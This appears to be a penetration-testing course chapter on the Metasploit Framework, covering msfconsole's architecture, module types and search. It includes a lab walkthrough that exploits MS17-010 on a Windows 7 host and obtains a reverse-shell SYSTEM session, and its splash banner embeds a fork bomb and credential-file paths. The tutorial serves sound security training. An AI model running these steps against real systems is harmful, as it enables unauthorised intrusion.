9.

Using the Metasploit Framework

Preface

Tools have recently seen heated debates within the security industry's social media circles.
Some discussions revolved around the personal preference of some groups, while others
aimed towards the evaluation of tool disclosure policies to the public. Nevertheless, there is
a need to point out the importance of automated tools in the industry today.

The general opinion we have indeed heard or will hear is that using automated tools during a
security assessment is not the right choice. This is because they offer the security analyst or
penetration tester no chance to 'prove' themselves when interacting with a vulnerable
environment. Furthermore, many say that tools make the job too easy for the auditor to
receive any recognition for their assessment.

Another vocal group disagrees - those consisting of newer members of the infosec
community, who are just starting and making their first steps, and those who sustain the
argument that tools help us learn better by offering us a more user-friendly approach to the
plethora of vulnerabilities that exist in the wild while saving us time for the more intricate
parts of an assessment. We will also be taking this confrontational approach to the issue.

Tools can indeed, in some cases, present us with some downsides:

Create a comfort zone that will be hard to break out of to learn new skills
Create a security risk just because they are published online for everyone to see and
use
Create a tunnel vision effect. If the tool cannot do it, neither can I.

Like in other industries where the creative part of the work can be combined with automated
tasks, tools can limit our view and actions as new users. We can mistakenly learn that they
provide the solutions to all problems, and we start to rely on them more and more. This, in
turn, creates a tunnel vision effect that can and will limit the possible interactions that the
user might think about and act upon for their assessment.

At the same time, the fact that more and more of these automated tools make their way into
the public sector (see the NSA release of security tools to the public) creates more
possibilities for would-be malicious actors with little to no knowledge of the industry to act
upon their desires to make a quick profit or flaunt their endeavors inside dark rooms filled
with smaller people.
Discipline
If there are any discerning factors to be drawn from the current state of the information
security industry, they are to be drawn on the premise that we are in a continuous,
accelerated evolution of existing technologies, protocols, and systems. With the cumulus of
environment variables that we encounter during an assessment, time must be saved where
it can, and a strong security paradigm is formed for the auditor. Discipline is critical in all
fields of work, and the conclusions are as follows:

We will never have enough time to complete the assessment. With the number of
technologies in use in every single environment variation, we will not be offered the time
to do a complete, comprehensive assessment. Time is money, and we are on the clock
for a non-tech-savvy customer, and we need to complete the bulk of the work first: the
issues with the most potential impact and highest remediation turnover.
Credibility can be an issue even if we make our tools or manually exploit every service.
We are not competing against other industry members but rather against pre-set
economic conditions and personal beliefs from the customer management level. They
would not comprehend or give much importance to accolades. They just want the work
done in the highest possible quantity, in the least amount of time.
You only have to impress yourself, not the infosec community. If we achieve the first, the
latter will come naturally. Using the same example as above, many artists with an online
presence stray from their original goals in pursuit of online validation. Their art becomes
stale and generic to the keen eye, but to the everyday user, it contains the wanted visual
elements and themes, not those their followers do not yet know they want. As security
researchers or penetration testers, we only must validate vulnerabilities, not validate our
ego.

Conclusion
We have to analyze and know our tools inside and out to keep our tracks covered and avoid
a cataclysmic event during our assessment. Many tools can prove to be unpredictable.
Some can leave traces of activity on the target system, and some may leave our attacker
platform with open gates. Nevertheless, as long as we follow the rules here, they can be a
valuable educational platform for beginners and a needed time-saver mechanism for
professionals.

Do not get tunnel vision. Use the tool as a tool, not as a backbone or life support for our
complete assessment.

Please read all the technical documentation you can find for any of our tools. Please get to
know them intimately. Leave no stone (or function or class) unturned. This will help us avoid
unintended behaviors or an irate customer and a team of lawyers.
Suppose we audit our tools and set ourselves up with a solid methodology for preliminary
checks and attack paths. In that case, tools will save us time for further research and a long-
lasting concrete exploration of our security research paradigm. Considering the accelerated
pace at which more and more technologies appear in today's environments, this further
research should focus on a deeper understanding of security mechanisms, furthering our
audit towards more abstract security objects on broadening the spectrum under which the
analysis is made. This is how we evolve as a professional.

Introduction to Metasploit

The Metasploit Project is a Ruby-based, modular penetration testing platform that

enables you to write, test, and execute the exploit code. This exploit code can be custom-
made by the user or taken from a database containing the latest already discovered and
modularized exploits. The Metasploit Framework includes a suite of tools that you can use
to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. At
its core, the Metasploit Project is a collection of commonly used tools that provide a
complete environment for penetration testing and exploit development.

The modules mentioned are actual exploit proof-of-concepts that have already been
developed and tested in the wild and integrated within the framework to provide pentesters
with ease of access to different attack vectors for different platforms and services. Metasploit
is not a jack of all trades but a swiss army knife with just enough tools to get us through the
most common unpatched vulnerabilities.

Its strong suit is that it provides a plethora of available targets and versions, all a few
commands away from a successful foothold. These, combined with an exploit tailor-made to
those vulnerable versions and with a payload that is sent after the exploit, which will give us
actual access into the system, provide us with an easy, automated way to switch between
target connections during our post-exploitation ventures.

Metasploit Pro
Metasploit as a product is split into two versions. The Metasploit Pro version is different
from the Metasploit Framework one with some additional features:

Task Chains
Social Engineering
Vulnerability Validations
GUI
Quick Start Wizards
Nexpose Integration

If you're more of a command-line user and prefer the extra features, the Pro version also
contains its own console, much like msfconsole .

To have a general idea of what Metasploit Pro's newest features can achieve, check out the
list below:

Infiltrate Collect Data Remediate

Manual Exploitation Import and Scan Data Bruteforce
Anti-virus Evasion Discovery Scans Task Chains
IPS/IDS Evasion Meta-Modules Exploitation Workflow
Proxy Pivot Nexpose Scan Integration Session Rerun
Post-Exploitation Task Replay
Session Clean-up Project Sonar Integration
Credentials Reuse Session Management
Social Engineering Credential Management
Payload Generator Team Collaboration
Quick Pen-testing Web Interface
VPN Pivoting Backup and Restore
Vulnerability Validation Data Export
Phishing Wizard Evidence Collection
Web App Testing Reporting
Persistent Sessions Tagging Data

Metasploit Framework Console

The msfconsole is probably the most popular interface to the Metasploit Framework
(MSF) . It provides an "all-in-one" centralized console and allows you efficient access to
virtually all options available in the MSF . Msfconsole may seem intimidating at first, but
once you learn the syntax of the commands, you will learn to appreciate the power of
utilizing this interface.

The features that msfconsole generally brings are the following:

It is the only supported way to access most of the features within Metasploit
Provides a console-based interface to the Framework
Contains the most features and is the most stable MSF interface
Full readline support, tabbing, and command completion
Execution of external commands in msfconsole

Both products mentioned above come with an extensive database of available modules to
use in our assessments. These, combined with the use of external commands such as
scanners, social engineering toolkits, and payload generators, can turn our setup into a
ready-to-strike machine that will allow us to seamlessly control and manipulate different
vulnerabilities in the wild with the use of sessions and jobs in the same way we would see
tabs on an Internet browser.

The key term here is usability—user experience. The ease with which we can control the
console can improve our learning experience. Therefore, let us delve into the specifics.

Understanding the Architecture

To fully operate whatever tool we are using, we must first look under its hood. It is good
practice, and it can offer us better insight into what will be going on during our security
assessments when that tool comes into play. It is essential not to have any wildcards that
might leave you or your client exposed to data breaches.

By default, all the base files related to Metasploit Framework can be found under
/usr/share/metasploit-framework in our ParrotOS Security distro.

Data, Documentation, Lib

These are the base files for the Framework. The Data and Lib are the functioning parts of the
msfconsole interface, while the Documentation folder contains all the technical details about
the project.

Modules
The Modules detailed above are split into separate categories in this folder. We will go into
detail about these in the next sections. They are contained in the following folders:
 ls /usr/share/metasploit-framework/modules

auxiliary encoders evasion exploits nops payloads post

Plugins
Plugins offer the pentester more flexibility when using the msfconsole since they can easily
be manually or automatically loaded as needed to provide extra functionality and automation
during our assessment.

ls /usr/share/metasploit-framework/plugins/

[Link] ips_filter.rb [Link] [Link]

[Link] [Link] pcap_log.rb [Link]
auto_add_route.rb [Link] [Link] [Link]
[Link] [Link] [Link] token_adduser.rb
db_credcollect.rb [Link] [Link] token_hunter.rb
db_tracker.rb [Link] session_notifier.rb [Link]
event_tester.rb [Link] session_tagger.rb [Link]
[Link] [Link] socket_logger.rb

Scripts

Meterpreter functionality and other useful scripts.

ls /usr/share/metasploit-framework/scripts/

meterpreter ps resource shell

Tools
Command-line utilities that can be called directly from the msfconsole menu.

ls /usr/share/metasploit-framework/tools/

context docs hardware modules payloads

dev exploit memdump password recon

Now that we know all of these locations, it will be easy for us to reference them in the future
when we decide to import new modules or even create new ones from scratch.
Enable step-by-step solutions for all questions

Questions
Answer the question(s) below
to complete this Section and earn cubes!

Cheat Sheet

+ 0 Which version of Metasploit comes equipped with a GUI interface?

+10 Streak pts

Submit

+ 0 What command do you use to interact with the free version of Metasploit?

+10 Streak pts

Submit

Introduction to MSFconsole

To start interacting with the Metasploit Framework, we need to type msfconsole in the
terminal of our choice. Many security-oriented distributions such as Parrot Security and Kali
Linux come with msfconsole preinstalled. We can use several other options when
launching the script as with any other command-line tool. These vary from graphical display
switches/options to procedural ones.

Preparation
Upon launching the msfconsole , we are met with their coined splash art and the command
line prompt, waiting for our first command.

Launching MSFconsole

msfconsole

`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~[Link]~~s:`
 -+h2~~[Link]~~h+-
`:odNo2~~[Link]~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=[Link].0MN8'/.
-++SecKCoin++[Link]`
`.-://///+[Link]+-
-~/.ssh/id_rsa.Des-
`htN01UserWroteMe!-
:[Link]<nano>o
:is:TЯ[Link]-.A:
:we'[Link]'`
[Link].D7:
:PLACEDRINKHERE!:
yxp_cmdshell.Ab0:
:msf>exploit -j.
:[Link]&ALICEes7:
:---srwxrwx:-.`
`[Link]:
:<script>.Ac816/
sENbove3101.404:
:NT_AUTHORITY.Do
`T:/shSYSTEM-.N:
:[Link]
/STFU|[Link]:
:hevnsntSurb025N.
dNVRGOING2GIVUUP:
:#OUTHOUSE- -s:
/corykennedyData:
:$nmap -oS
SSo.6178306Ence:
:[Link]:
/shMTl#[Link].:
:Ring0:
`dDestRoyREXKC3ta/M:
:23d:
[Link]:
/- /yo- .ence.N:(){ :|: &
};:
`:[Link]?
tron/
```-
ooy.if1ghtf0r+ehUser5`
..[Link]+.`
`MjM~~[Link]~~MMjMs
+~[Link]'s~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`

=[ metasploit v6.1.9-dev ]
 + -- --=[ 2169 exploits - 1149 auxiliary - 398 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Use sessions -1 to interact with the last opened session

msf6 >

Alternatively, we can use the -q option, which does not display the banner.

msfconsole -q

msf6 >

To better look at all the available commands, we can type the help command. First things
first, our tools need to be sharp. One of the first things we need to do is make sure the
modules that compose the framework are up to date, and any new ones available to the
public can be imported.

The old way would have been to run msfupdate in our OS terminal (outside msfconsole ).
However, the apt package manager can currently handle the update of modules and
features effortlessly.

Installing MSF

sudo apt update && sudo apt install metasploit-framework

<SNIP>

(Reading database ... 414458 files and directories currently installed.)

Preparing to unpack .../metasploit-framework_6.0.2-0parrot1_amd64.deb ...
Unpacking metasploit-framework (6.0.2-0parrot1) over (5.0.88-0kali1) ...
Setting up metasploit-framework (6.0.2-0parrot1) ...
Processing triggers for man-db (2.9.1-1) ...
Scanning application launchers
Removing duplicate launchers from Debian
Launchers are updated

One of the first steps we will cover in this module is searching for a proper exploit for our
target . Nevertheless, we need to have a detailed perspective on the target itself before
attempting any exploitation. This involves the Enumeration process, which precedes any
type of exploitation attempt.
During Enumeration , we have to look at our target and identify which public-facing services
are running on it. For example, is it an HTTP server? Is it an FTP server? Is it an SQL
Database? These different target typologies vary substantially in the real world. We will
need to start with a thorough scan of the target's IP address to determine what service is
running and what version is installed for each service.

We will notice as we go along that versions are the key components during the
Enumeration process that will allow us to determine if the target is vulnerable or not.
Unpatched versions of previously vulnerable services or outdated code in a publicly
accessible platform will often be our entry point into the target system.

MSF Engagement Structure

The MSF engagement structure can be divided into five main categories.

Enumeration
Preparation
Exploitation
Privilege Escalation
Post-Exploitation

This division makes it easier for us to find and select the appropriate MSF features in a more
structured way and to work with them accordingly. Each of these categories has different
subcategories that are intended for specific purposes. These include, for example, Service
Validation and Vulnerability Research.

It is therefore crucial that we familiarize ourselves with this structure. Therefore, we will look
at this framework's components to better understand how they are related.
We will go through each of these categories during the module, but we recommend looking
at the individual components ourselves and digging deeper. Experimenting with the different
functions is an integral part of learning a new tool or skill. Therefore, we should try out
everything imaginable here in the following labs and analyze the results independently.

Modules

As we mentioned previously, Metasploit modules are prepared scripts with a specific

purpose and corresponding functions that have already been developed and tested in the
wild. The exploit category consists of so-called proof-of-concept ( POCs ) that can be used
to exploit existing vulnerabilities in a largely automated manner. Many people often think that
the failure of the exploit disproves the existence of the suspected vulnerability. However, this
is only proof that the Metasploit exploit does not work and not that the vulnerability does not
exist. This is because many exploits require customization according to the target hosts to
make the exploit work. Therefore, automated tools such as the Metasploit framework should
only be considered a support tool and not a substitute for our manual skills.

Once we are in the msfconsole , we can select from an extensive list containing all the
available Metasploit modules. Each of them is structured into folders, which will look like this:

Syntax

<No.> <type>/<os>/<service>/<name>

Example

794 exploit/windows/ftp/scriptftp_list

Index No.
The No. tag will be displayed to select the exploit we want afterward during our searches.
We will see how helpful the No. tag can be to select specific Metasploit modules later.

Type
The Type tag is the first level of segregation between the Metasploit modules . Looking at
this field, we can tell what the piece of code for this module will accomplish. Some of these
types are not directly usable as an exploit module would be, for example. However, they
are set to introduce the structure alongside the interactable ones for better modularization.
To explain better, here are the possible types that could appear in this field:

Type Description
Auxiliary Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance
and functionality.
Encoders Ensure that payloads are intact to their destination.
Exploits Defined as modules that exploit a vulnerability that will allow for the payload
delivery.
NOPs (No Operation code) Keep the payload sizes consistent across exploit
attempts.
Payloads Code runs remotely and calls back to the attacker machine to establish a
connection (or shell).
Plugins Additional scripts can be integrated within an assessment with
msfconsole and coexist.

Post Wide array of modules to gather information, pivot deeper, etc.

Note that when selecting a module to use for payload delivery, the use <no.> command
can only be used with the following modules that can be used as initiators (or
interactable modules):

Type Description
Auxiliary Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance
and functionality.
Exploits Defined as modules that exploit a vulnerability that will allow for the payload
delivery.
Post Wide array of modules to gather information, pivot deeper, etc.

OS

The OS tag specifies which operating system and architecture the module was created for.
Naturally, different operating systems require different code to be run to get the desired
results.
Service
The Service tag refers to the vulnerable service that is running on the target machine. For
some modules, such as the auxiliary or post ones, this tag can refer to a more general
activity such as gather , referring to the gathering of credentials, for example.

Name

Finally, the Name tag explains the actual action that can be performed using this module
created for a specific purpose.

Searching for Modules

Metasploit also offers a well-developed search function for the existing modules. With the
help of this function, we can quickly search through all the modules using specific tags to
find a suitable one for our target.

MSF - Search Function

msf6 > help search

Usage: search [<options>] [<keywords>:<value>]

Prepending a value with '-' will exclude any matching results.

If no options or keywords are provided, cached results are displayed.

OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Regex pattern used to filter search results
-u Use module if there is one result
-s <search_column> Sort the research results based on <search_column>
in ascending order
-r Reverse the search results order to descending
order

Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
 fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive
(ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload,
auxiliary, encoder, evasion, post, or nop)

Supported search columns:

rank : Sort modules by their exploitabilty rank
date : Sort modules by their disclosure date. Alias for
disclosure_date
disclosure_date : Sort modules by their disclosure date
name : Sort modules by their name
type : Sort modules by their type
check : Sort modules by whether or not they have a check
method

Examples:
search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -r

For example, we can try to find the EternalRomance exploit for older Windows operating
systems. This could look something like this:

MSF - Searching for EternalRomance

msf6 > search eternalromance

Matching Modules
================

# Name Disclosure Date Rank Check

Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes
 MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Command Execution

msf6 > search eternalromance type:exploit

Matching Modules
================

# Name Disclosure Date Rank Check

Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Execution

We can also make our search a bit more coarse and reduce it to one category of services.
For example, for the CVE, we could specify the year ( cve:<year> ), the platform Windows (
platform:<os> ), the type of module we want to find ( type:<auxiliary/exploit/post> ),
the reliability rank ( rank:<rank> ), and the search name ( <pattern> ). This would reduce
our results to only those that match all of the above.

MSF - Specific Search

msf6 > search type:exploit platform:windows cve:2021 rank:excellent

microsoft

Matching Modules
================

# Name Disclosure Date

Rank Check Description
- ---- --------------- ---
- ----- -----------
0 exploit/windows/http/exchange_proxylogon_rce 2021-03-02
excellent Yes Microsoft Exchange ProxyLogon RCE
1 exploit/windows/http/exchange_proxyshell_rce 2021-04-06
excellent Yes Microsoft Exchange ProxyShell RCE
2 exploit/windows/http/sharepoint_unsafe_control 2021-05-11
excellent Yes Microsoft SharePoint Unsafe Control and ViewState RCE
Module Selection
To select our first module, we first need to find one. Let's suppose that we have a target
running a version of SMB vulnerable to EternalRomance (MS17_010) exploits. We have
found that SMB server port 445 is open upon scanning the target.

nmap -sV [Link]

Starting Nmap 7.80 ( [Link] ) at 2020-08-13 21:38 UTC

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Nmap scan report for [Link]
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at

[Link] .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds

We would boot up msfconsole and search for this exact exploit name.

MSF - Search for MS17_010

msf6 > search ms17_010

Matching Modules
================

# Name Disclosure Date Rank

Check Description
- ---- --------------- ----
----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average
Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal
 Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal
No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal
No MS17-010 SMB RCE Detection

Next, we want to select the appropriate module for this scenario. From the Nmap scan, we
have detected the SMB service running on version Microsoft Windows 7 - 10 . With some
additional OS scanning, we can guess that this is a Windows 7 running a vulnerable
instance of SMB. We then proceed to select the module with the index no. 2 to test if the
target is vulnerable.

Using Modules
Within the interactive modules, there are several options that we can specify. These are
used to adapt the Metasploit module to the given environment. Because in most cases, we
always need to scan or attack different IP addresses. Therefore, we require this kind of
functionality to allow us to set our targets and fine-tune them. To check which options are
needed to be set before the exploit can be sent to the target host, we can use the show
options command. Everything required to be set before the exploitation can occur will have
a Yes under the Required column.

MSF - Select Module

<SNIP>

Matching Modules
================

# Name Disclosure Date Rank Check

Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Command Execution
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Module options (exploit/windows/smb/ms17_010_psexec):

Name Current Setting Required

Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes
The target host(s), see [Link]

/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no

rmal read/write folder share

SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
 Exploit target:

Id Name
-- ----
0 Automatic

Here we see how helpful the No. tags can be. Because now, we do not have to type the
whole path but only the number assigned to the Metasploit module in our search. We can
use the command info after selecting the module if we want to know something more
about the module. This will give us a series of information that can be important for us.

MSF - Module Information

msf6 exploit(windows/smb/ms17_010_psexec) > info

Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB

Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14

Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group

Available targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload

Check supported:
Yes

Basic options:
Name Current Setting Required
Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes
The target host(s), see [Link]

wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a nor

mal read/write folder share

SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as

Payload information:
Space: 3072

Description:
This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where primitive. This will then be used to
overwrite the connection session information with as an
Administrator session. From there, the normal psexec payload code
execution is done. Exploits a type confusion between Transaction and
WriteAndX requests and a race condition in Transaction requests, as
seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a named pipe.

References:
[Link]
updates/SecurityBulletins/2017/MS17-010
 [Link]
[Link]
[Link]
[Link]
[Link]
[Link]
exploit-analysis/

Also known as:

ETERNALSYNERGY
ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUE

After we are satisfied that the selected module is the right one for our purpose, we need to
set some specifications to customize the module to use it successfully against our target
host, such as setting the target ( RHOST or RHOSTS ).

MSF - Target Specification

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS [Link]

RHOSTS => [Link]

msf6 exploit(windows/smb/ms17_010_psexec) > options

Name Current Setting Required

Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS [Link] yes
The target host(s), see [Link]

/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
 SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no

rmal read/write folder share

SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

In addition, there is the option setg , which specifies options selected by us as permanent
until the program is restarted. Therefore, if we are working on a particular target host, we can
use this command to set the IP address once and not change it again until we change our
focus to a different IP address.

MSF - Permanent Target Specification

msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS [Link]

RHOSTS => [Link]

msf6 exploit(windows/smb/ms17_010_psexec) > options

Name Current Setting Required

Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS [Link] yes
The target host(s), see [Link]

/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no

rmal read/write folder share

SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic
Once everything is set and ready to go, we can proceed to launch the attack. Note that the
payload was not set here, as the default one is sufficient for this demonstration.

MSF - Exploit Execution

msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on [Link]:4444

[*] [Link]:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] [Link]:445 - Host is likely VULNERABLE to MS17-010! -
Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] [Link]:445 - Scanned 1 of 1 hosts (100% complete)
[*] [Link]:445 - Connecting to target for exploitation.
[+] [Link]:445 - Connection established for exploitation.
[+] [Link]:445 - Target OS selected valid for OS indicated by SMB
reply
[*] [Link]:445 - CORE raw buffer dump (42 bytes)
[*] [Link]:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f
66 65 73 Windows 7 Profes
[*] [Link]:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53
65 72 76 sional 7601 Serv
[*] [Link]:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] [Link]:445 - Target arch selected valid for arch indicated by
DCE/RPC reply
[*] [Link]:445 - Trying exploit with 12 Groom Allocations.
[*] [Link]:445 - Sending all but last fragment of exploit packet
[*] [Link]:445 - Starting non-paged pool grooming
[+] [Link]:445 - Sending SMBv2 buffers
[+] [Link]:445 - Closing SMBv1 connection creating free hole adjacent
to SMBv2 buffer.
[*] [Link]:445 - Sending final SMBv2 buffers.
[*] [Link]:445 - Sending last fragment of exploit packet!
[*] [Link]:445 - Receiving response from exploit packet
[+] [Link]:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] [Link]:445 - Sending egg to corrupted connection.
[*] [Link]:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened ([Link]:4444 -> [Link]:49158)
at 2020-08-13 21:37:21 +0000
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=

meterpreter> shell
 C:\Windows\system32>

We now have a shell on the target machine, and we can interact with it.

MSF - Target Interaction

C:\Windows\system32> whoami

whoami
nt authority\system

This has been a quick and dirty example of how msfconsole can help out quickly but serves
as an excellent example of how the framework works. Only one module was needed without
any payload selection, encoding or pivoting between sessions or jobs.

Targets

Targets are unique operating system identifiers taken from the versions of those specific
operating systems which adapt the selected exploit module to run on that particular version
of the operating system. The show targets command issued within an exploit module view
will display all available vulnerable targets for that specific exploit, while issuing the same
command in the root menu, outside of any selected exploit module, will let us know that we
need to select an exploit module first.

MSF - Show Targets

msf6 > show targets

[-] No exploit module selected.

When looking at our previous exploit module, this would be what we see:

msf6 exploit(windows/smb/ms17_010_psexec) > options

Name Current Setting Required

Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
 LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS [Link] yes
The target host(s), see [Link]

/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no

rmal read/write folder share

SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
